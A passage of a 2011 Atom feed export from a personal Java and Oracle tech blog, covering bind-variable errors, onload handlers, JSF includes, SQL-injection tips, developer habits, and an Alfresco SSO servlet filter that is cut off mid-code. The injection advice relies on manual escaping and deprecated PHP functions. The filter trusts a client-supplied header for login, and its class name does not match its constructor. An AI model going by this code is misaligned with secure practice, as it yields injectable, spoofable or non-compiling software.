my_new_proc(?,?,?,?&amp;quot; + &amp;quot;?,?&amp;quot; +&amp;quot;)}&amp;quot;);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;which should be like ::&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  CallableStatement cstmt =&lt;br /&gt;             dbConnection.prepareCall(&amp;quot;{call my_new_proc(?,?,?,?&amp;quot; + &amp;quot;,?,?&amp;quot; +&amp;quot;)}&amp;quot;);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;There can be many reasons for this error, but the one which we discovered was this one.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3284072067258357694?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3284072067258357694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3284072067258357694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3284072067258357694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3284072067258357694'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/11/ora-01006-bind-variable-does-not-exist.html' title='ORA-01006: bind variable does not exist'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7758120984642145516</id><published>2011-10-18T04:18:00.000-07:00</published><updated>2011-10-18T04:22:31.904-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='multiple onload function'/><category scheme='http://www.blogger.com/atom/ns#' term='onload funcions'/><category scheme='http://www.blogger.com/atom/ns#' term='how to use multiple onload functions'/><category scheme='http://www.blogger.com/atom/ns#' term='multiple onload'/><title type='text'>How to use multiple onloads with external scripts ?</title><content type='html'>Hi All,&lt;br /&gt;&lt;br /&gt;First of all thanks for visiting my blog. I recently working on oracle portlets and i had to add multiple portlets on my single page, that created conflict since both portlets had onload events and that created multiple onload events.&lt;br /&gt;&lt;br /&gt;Scripts probably conflict most often when using the onLoad event. Have you ever used code like this?&lt;br /&gt;&lt;br /&gt;window.onload=myInitFunction;&lt;br /&gt;&lt;br /&gt;This is fine if you're sure myInitFunction() will be the only function that needs to be called when the page is loaded. But how can you know for sure? What if a page that calls your script has code in its &lt;body onload="..."&gt; ? What if there's another external script on the page that also assigns a function to the onload event? The code above will overwrite what was there with your code and that's not good.&lt;br /&gt;&lt;br /&gt;Use the function below to add your function without replacing what is already in the onLoad.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;function addOnloadEvent(fnc){&lt;br /&gt;  if ( typeof window.addEventListener != &amp;quot;undefined&amp;quot; )&lt;br /&gt;    window.addEventListener( &amp;quot;load&amp;quot;, fnc, false );&lt;br /&gt;  else if ( typeof window.attachEvent != &amp;quot;undefined&amp;quot; ) {&lt;br /&gt;    window.attachEvent( &amp;quot;onload&amp;quot;, fnc );&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;    if ( window.onload != null ) {&lt;br /&gt;      var oldOnload = window.onload;&lt;br /&gt;      window.onload = function ( e ) {&lt;br /&gt;        oldOnload( e );&lt;br /&gt;        window[fnc]();&lt;br /&gt;      };&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;      window.onload = fnc;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/PRE&gt;example ::&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;addOnloadEvent(myFunctionName);&lt;br /&gt;&lt;br /&gt;// Or to pass arguments&lt;br /&gt;&lt;br /&gt;addOnloadEvent(function(){ myFunctionName('myArgument') });&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7758120984642145516?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7758120984642145516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7758120984642145516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7758120984642145516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7758120984642145516'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/10/how-to-use-multiple-onloads-with.html' title='How to use multiple onloads with external scripts ?'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5110716438226979480</id><published>2011-09-06T06:03:00.000-07:00</published><updated>2011-09-06T06:03:34.240-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='jsp'/><category scheme='http://www.blogger.com/atom/ns#' term='jsf'/><category scheme='http://www.blogger.com/atom/ns#' term='JSF code snippet: integrating JSF pages into a plain old JSP'/><title type='text'>JSF code snippet: integrating JSF pages into a plain old JSP</title><content type='html'>A simple way to include a JSF page into a bigger JSP (sure there's other ways, but this one is easy):&lt;br /&gt;the JSF page must be a subview:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;%@ taglib uri=&amp;quot;http://java.sun.com/jsf/html&amp;quot; prefix=&amp;quot;h&amp;quot;%&amp;gt;&lt;br /&gt;&amp;lt;%@ taglib uri=&amp;quot;http://java.sun.com/jsf/core&amp;quot; prefix=&amp;quot;f&amp;quot;%&amp;gt;&lt;br /&gt;&amp;lt;f:subview id=&amp;quot;myJSFSubview&amp;quot;&amp;gt;&lt;br /&gt;.....&lt;br /&gt;&amp;lt;/f:subview&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The tricky part is how to include it in the JSP, in a way that is independent of the main JSP. But you just need to include like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;% pageContext.include(&amp;quot;myJSFpage.jsf&amp;quot;); %&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5110716438226979480?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5110716438226979480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5110716438226979480' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5110716438226979480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5110716438226979480'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/09/jsf-code-snippet-integrating-jsf-pages.html' title='JSF code snippet: integrating JSF pages into a plain old JSP'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6388723762606476422</id><published>2011-09-06T05:58:00.000-07:00</published><updated>2011-09-06T05:58:07.102-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='protect from sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='Simple Java tricks to protect your web application against SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='java sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='java.sql.SQLException: Data size bigger than max size for this type'/><title type='text'>Simple Java tricks to protect your web application against SQL injection</title><content type='html'>Your application is vulnerable to SQL Injection when you send unfiltered strings to the database. Most modern ORM frameworks should take care of it (but don't take my word!... go ahead and check how secure your framework is).&lt;br /&gt;Sometimes, you have to work with plain JDBC (or ODBC). Here is a couple of tricks that help:&lt;br /&gt;&lt;br /&gt;   1. First and foremost, avoid concatenating strings for SQL queries. Use prepared statements unless is not possible (i.e. cases when you have undefined number of parameters)&lt;br /&gt;   2. Leverage the language type system: If you're passing a number, use Integer instead of String... any invalid character will fail the conversion and will not reach the DB.&lt;br /&gt;   3. If there's no option but concatenate strings, make sure the database comment quotes are escaped (for example, in DB2 you have to replace the single quote character with 2 single quote characters: instead of "SELECT * FROM users WHERE name='"+param+"'" use "SELECT * FROM users WHERE name='"+param.replaceAll("'","''")+"'"&lt;br /&gt;&lt;br /&gt;For something a little more advanced, you can wrap the strings in some kind of "EscapedString" class, and use that class in the signature of the DAOs (related to 2. )&lt;br /&gt;&lt;br /&gt;Note: by no means this is a comprehensive list. Application security is very hard, check your database documentation... &lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6388723762606476422?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6388723762606476422/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6388723762606476422' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6388723762606476422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6388723762606476422'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/09/simple-java-tricks-to-protect-your-web.html' title='Simple Java tricks to protect your web application against SQL injection'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1830970797285565860</id><published>2011-09-06T05:40:00.000-07:00</published><updated>2011-09-06T05:40:27.429-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='login form'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='protect sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql sql injection'/><title type='text'>How to Protect Against MySQL Injection on User Login Form</title><content type='html'>The below mysql database query is to to protect your database against MySQL injection through user login forms. This preventive action make spammers stay away from running the database query on your database with out your knowledge &lt;br /&gt;&lt;br /&gt;Query to Protect Against MySQL Injection via Login Form&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$username = stripslashes($username);&lt;br /&gt;$password = stripslashes($password);&lt;br /&gt;$username = mysql_real_escape_string($username);&lt;br /&gt;$password = mysql_real_escape_string($password); &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;-- In Dreams And In Love There Are No Impossibilities --&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1830970797285565860?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1830970797285565860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1830970797285565860' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1830970797285565860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1830970797285565860'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/09/how-to-protect-against-mysql-injection.html' title='How to Protect Against MySQL Injection on User Login Form'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5951799544313841608</id><published>2011-09-05T04:50:00.000-07:00</published><updated>2011-09-05T04:50:53.088-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='10 Commandments for Java Developers'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle java'/><category scheme='http://www.blogger.com/atom/ns#' term='What will happen to Java'/><category scheme='http://www.blogger.com/atom/ns#' term='in Oracle&apos;s hands'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='java oracle'/><title type='text'>What will happen to Java, in Oracle's hands ?</title><content type='html'>I was asked by my friend few days back that "What will happen to Java, in Oracle's hands ?"&lt;br /&gt;&lt;br /&gt;My answer was.. INSERT INTO "Oracle" SELECT * FROM "Sun"&lt;br /&gt;&lt;br /&gt;'...Open source will continue at Oracle - along with Java. It could even profit. Just don't expect it to help anybody else.' &lt;br /&gt;&lt;br /&gt;It will help. Oracle has more money than SUN.&lt;br /&gt;&lt;br /&gt;I don't think it will become more proprietary. IBM, Redhat, Apache etc. will not allow that. &lt;br /&gt;&lt;br /&gt;Java is OK. JVM is not OK. But at least we have CacaoVM and some opensource implementations, once Oracle will bastardize it. On the other hand, I don't think they want to screw it up on a main trunk. They did this to RedHat clone, called Oracle Linux, that is completely rubbish distribution. I would more worry about OpenSolaris — there might be started some unpleasant "fun" from Oracle... :-(&lt;br /&gt;&lt;br /&gt;Java became popular because of open policies of Sun. Any attempt to commercialize or make Java more proprietary will turn out to be a bad move for technology.&lt;br /&gt;&lt;br /&gt;I think Oracle will try to make more money from Java licenses and try to control Java and use it for competitive advantage, which will make other Java vendors insecure and will eventually move away from Java. In a free market Oracle is free to do this, but it will not be good for the technology.&lt;br /&gt;&lt;br /&gt;Use it if you like it, don't try to own it&lt;br /&gt;&lt;br /&gt;I just hope there won't appear String2 that is null and an empty string at the same time, as they did to VARCHAR... :-) &lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;-- In Dreams And In Love There Are No Impossibilities --&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5951799544313841608?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5951799544313841608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5951799544313841608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5951799544313841608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5951799544313841608'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/09/what-will-happen-to-java-in-oracles.html' title='What will happen to Java, in Oracle&apos;s hands ?'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2564159556604874189</id><published>2011-09-05T03:16:00.000-07:00</published><updated>2011-09-05T03:18:10.169-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software development'/><category scheme='http://www.blogger.com/atom/ns#' term='softare development tips'/><category scheme='http://www.blogger.com/atom/ns#' term='software'/><category scheme='http://www.blogger.com/atom/ns#' term='habits of a great software developer'/><category scheme='http://www.blogger.com/atom/ns#' term='quality coding'/><title type='text'>Top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product</title><content type='html'>Below are some of top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product ::&lt;br /&gt;&lt;br /&gt;1) Self discipline. So much bad code is due to laziness by developers who don't do what they know should be done.&lt;br /&gt;&lt;br /&gt;2) Assume the code written doesn't work unless it is proven to work.&lt;br /&gt;Don't assume that things will never fail. In other words, assume things will fail and provide for clean handling of it. Error messages reporting errors are required. Crash on error is unacceptable.&lt;br /&gt;&lt;br /&gt;3) Hangs are unacceptable. All code should be bounded in time and an error must be reported if it runs over.&lt;br /&gt;Do your own testing. It doesn't matter if you have a separate test group. Do your own testing anyway.&lt;br /&gt;&lt;br /&gt;4) Never assume that a user will never do something with the code. Assume that a user will do anything and everything possible. Provide clean handling and error messages for everything not allowed.&lt;br /&gt;&lt;br /&gt;5) The developer should insure that the code compiles with zero warning messages.&lt;br /&gt;Always use a source code repository, even in a “team” of one person. The repository should be backed-up properly.&lt;br /&gt;&lt;br /&gt;6) Never check-in code to a main repository that doesn't compile cleanly. Check-in to a branch repository for checkpointing or backups is ok. &lt;br /&gt;&lt;br /&gt;7) Teamwork - few things are small enough or require so few skills that one person can do them well.&lt;br /&gt;&lt;br /&gt;8) Discipline - do things right *all the time* if you want top quality.&lt;br /&gt;Ability, Experience - one needs to learn on the job; they say you tend to get expert only after 10,000 hours at a skill.&lt;br /&gt;&lt;br /&gt;9) Breadth - you need to understand other people's vision not just your own, or what you make will suit you and nobody else.&lt;br /&gt;&lt;br /&gt;10) Luck - whether your idea or somebody else's, you need a good idea AND the luck to get it to market at the right time.&lt;br /&gt;&lt;br /&gt;11) A good team - what you can't put toward the effort yourself, the rest of the team needs to supply. &lt;br /&gt;&lt;br /&gt;12) Knowledge - especially of design patterns (and have to remember that they are giving direction, not the right solution) and frameworks&lt;br /&gt;&lt;br /&gt;13) TESTS - they are prooving that the code works. He/she must write tests automatically without thinking: do I have to?&lt;br /&gt;&lt;br /&gt;14) Digging in problems - it laverages the knowledge and gives him/her deep understanding of technology&lt;br /&gt;&lt;br /&gt;15) Curiosity - to be up to date with other concepts&lt;br /&gt;&lt;br /&gt;16) Document everything (tomorrow you do not remember what is in your head today).&lt;br /&gt;&lt;br /&gt;17) Pay attention to what your customer - requirements analyst says and work with him/her. Do not assume that you know their needs better. It is their needs. Do not assume that your work is just writting code, it is also discussing your plans and results with your clients.&lt;br /&gt;&lt;br /&gt;18) Always plan your next task and sketch a model of what you will build.&lt;br /&gt;&lt;br /&gt;19) Always check on the internet for things you need. It is very rare that you were the first to need them. For every hint you get try to give something back to the community. If there is an open source project near your needs use it and expand it. It is better to focus on your new task than reinventing the wheel.&lt;br /&gt;&lt;br /&gt;20) Always take some time to check if you need to use a new tool or programming language. A good programmer is not tied to a specific language, however he can be very good or specialized at one or more. &lt;br /&gt;&lt;br /&gt;21)Proper error/exception handling... make sure that app should not crash&lt;br /&gt;&lt;br /&gt;22)He/She should be 'Continuous Learner' and upgrade their skills in respective domain time to time..&lt;br /&gt;&lt;br /&gt;23)Last,but not least, Think 'out of box'. Smart people can easily entertain new ideas, thoughts, and ways of doing things. &lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;-- In Dreams And In Love There Are No Impossibilities&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2564159556604874189?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2564159556604874189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2564159556604874189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2564159556604874189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2564159556604874189'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/09/top-must-have-habits-of-great-software.html' title='Top &quot;MUST HAVE&quot; habits of a great software developer to ensure creating a world class quality coding product'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7507242649594299584</id><published>2011-08-11T23:55:00.000-07:00</published><updated>2011-08-12T00:09:41.079-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alfresco webdav'/><category scheme='http://www.blogger.com/atom/ns#' term='sso in webdav'/><category scheme='http://www.blogger.com/atom/ns#' term='webdav'/><category scheme='http://www.blogger.com/atom/ns#' term='alfresco webdav sso'/><title type='text'>Alfresco Webdav SSO Configuration</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi, &lt;br /&gt;&lt;br /&gt;I finally configured Oracle SSO with Alfresco Webdav. Below is how i achieved that.&lt;br /&gt;&lt;br /&gt;I need to run Alfresco on tomcat deployed on other virtual machine, i created a class file as under&lt;br /&gt;&lt;br /&gt;-- STEP 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;package my.custom;&lt;br /&gt;&lt;br /&gt;import java.io.IOException; &lt;br /&gt;import java.util.List;&lt;br /&gt;import java.util.Locale;&lt;br /&gt;&lt;br /&gt;import javax.servlet.Filter;&lt;br /&gt;import javax.servlet.FilterChain;&lt;br /&gt;import javax.servlet.FilterConfig;&lt;br /&gt;import javax.servlet.ServletContext;&lt;br /&gt;import javax.servlet.ServletException;&lt;br /&gt;import javax.servlet.ServletRequest;&lt;br /&gt;import javax.servlet.ServletResponse;&lt;br /&gt;import javax.servlet.http.HttpServletRequest;&lt;br /&gt;import javax.servlet.http.HttpServletResponse;&lt;br /&gt;import javax.servlet.http.HttpSession;&lt;br /&gt;import javax.transaction.UserTransaction;&lt;br /&gt;&lt;br /&gt;import org.alfresco.model.ContentModel;&lt;br /&gt;import org.alfresco.repo.security.authentication.AuthenticationComponent;&lt;br /&gt;import org.alfresco.repo.security.authentication.AuthenticationException;&lt;br /&gt;import org.alfresco.service.ServiceRegistry;&lt;br /&gt;import org.alfresco.service.cmr.repository.NodeRef;&lt;br /&gt;import org.alfresco.service.cmr.repository.NodeService;&lt;br /&gt;import org.alfresco.service.cmr.security.AuthenticationService;&lt;br /&gt;import org.alfresco.service.cmr.security.PersonService;&lt;br /&gt;import org.alfresco.service.transaction.TransactionService;&lt;br /&gt;import org.alfresco.web.app.Application;&lt;br /&gt;import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;&lt;br /&gt;import org.alfresco.web.app.servlet.AuthenticationHelper;&lt;br /&gt;import org.alfresco.web.bean.LoginBean;&lt;br /&gt;import org.alfresco.web.bean.repository.User;&lt;br /&gt;import org.alfresco.web.config.LanguagesConfigElement;&lt;br /&gt;import org.apache.commons.logging.Log;&lt;br /&gt;import org.apache.commons.logging.LogFactory;&lt;br /&gt;import org.springframework.extensions.config.ConfigService;&lt;br /&gt;import org.springframework.extensions.surf.util.I18NUtil;&lt;br /&gt;import org.springframework.web.context.WebApplicationContext;&lt;br /&gt;import org.springframework.web.context.support.WebApplicationContextUtils;&lt;br /&gt;import org.alfresco.web.bean.repository.Repository;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class WebDavAuthentication extends AbstractAuthenticationFilter implements Filter {&lt;br /&gt;private static final String LOCALE = "locale";&lt;br /&gt;public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";&lt;br /&gt;private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);&lt;br /&gt;private ServletContext context;&lt;br /&gt;private String loginPage;&lt;br /&gt;private AuthenticationComponent authComponent;&lt;br /&gt;private AuthenticationService authService;&lt;br /&gt;private TransactionService transactionService;&lt;br /&gt;private PersonService personService;&lt;br /&gt;private NodeService nodeService;&lt;br /&gt;private List m_languages;&lt;br /&gt;&lt;br /&gt;public OSSOAuthenticationFilter() {&lt;br /&gt;super();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void destroy() {&lt;br /&gt;// Nothing to do&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Run the filter&lt;br /&gt;*&lt;br /&gt;* @param sreq&lt;br /&gt;* ServletRequest&lt;br /&gt;* @param sresp&lt;br /&gt;* ServletResponse&lt;br /&gt;* @param chain&lt;br /&gt;* FilterChain&lt;br /&gt;* @exception IOException&lt;br /&gt;* @exception ServletException&lt;br /&gt;*/&lt;br /&gt;public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {&lt;br /&gt;// Get the HTTP request/response/session&lt;br /&gt;HttpServletRequest req = (HttpServletRequest) sreq;&lt;br /&gt;HttpServletResponse resp = (HttpServletResponse) sresp;&lt;br /&gt;HttpSession httpSess = req.getSession(true);&lt;br /&gt;&lt;br /&gt;String userName = null;&lt;br /&gt;//Get headers setted by the oracle sigle sign one server&lt;br /&gt;java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");&lt;br /&gt;&lt;br /&gt;if (reqMap == null) {&lt;br /&gt;logger.error("No user logged in");&lt;br /&gt;} else {&lt;br /&gt;while (reqMap.hasMoreElements()){&lt;br /&gt;//Get from the full dn the username&lt;br /&gt;userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();&lt;br /&gt;//String tmp = value.split(",")[0].trim().toString();&lt;br /&gt;//userName = tmp.split("=")[1].trim().toString();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (logger.isDebugEnabled()) {&lt;br /&gt;logger.debug("OSSO : User = " + userName);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// See if there is a user in the session and test if it matches&lt;br /&gt;User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);&lt;br /&gt;&lt;br /&gt;if (user != null) {&lt;br /&gt;try {&lt;br /&gt;// Debug&lt;br /&gt;if (logger.isDebugEnabled())&lt;br /&gt;logger.debug("OSSO : User " + user.getUserName() + " validate ticket");&lt;br /&gt;&lt;br /&gt;if (user.getUserName().equals(userName)) {&lt;br /&gt;UserTransaction tx1 = transactionService.getUserTransaction();&lt;br /&gt;try {&lt;br /&gt;tx1.begin();&lt;br /&gt;authComponent.setCurrentUser(user.getUserName());&lt;br /&gt;tx1.commit();&lt;br /&gt;}catch(Exception ex){&lt;br /&gt;logger.error("Failed due to transaction " + ex);&lt;br /&gt;try {&lt;br /&gt;tx1.rollback();&lt;br /&gt;} catch (Exception ex2) {&lt;br /&gt;logger.error("Failed to rollback transaction", ex2);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;I18NUtil.setLocale(Application.getLanguage(httpSess));&lt;br /&gt;chain.doFilter(sreq, sresp);&lt;br /&gt;return;&lt;br /&gt;} else {&lt;br /&gt;// No match&lt;br /&gt;//setAuthenticatedUser(req, httpSess, userName);&lt;br /&gt;//below url is th oracle portal url&lt;br /&gt;resp.sendRedirect("http://hostname:7778/alfresco");&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;} catch (AuthenticationException ex) {&lt;br /&gt;if (logger.isErrorEnabled())&lt;br /&gt;logger.error("Failed to validate user " + user.getUserName(), ex);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;setAuthenticatedUser(req, httpSess, userName);&lt;br /&gt;&lt;br /&gt;// Redirect the login page as it is never seen as we always login by name&lt;br /&gt;if (req.getRequestURI().endsWith(getLoginPage()) == true)&lt;br /&gt;{&lt;br /&gt;if (logger.isDebugEnabled())&lt;br /&gt;logger.debug("Login page requested, chaining ...");&lt;br /&gt;&lt;br /&gt;resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;//below url is th oracle portal url&lt;br /&gt;resp.sendRedirect("http://hostname:7778/alfresco");&lt;br /&gt;//chain.doFilter(sreq, sresp);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br 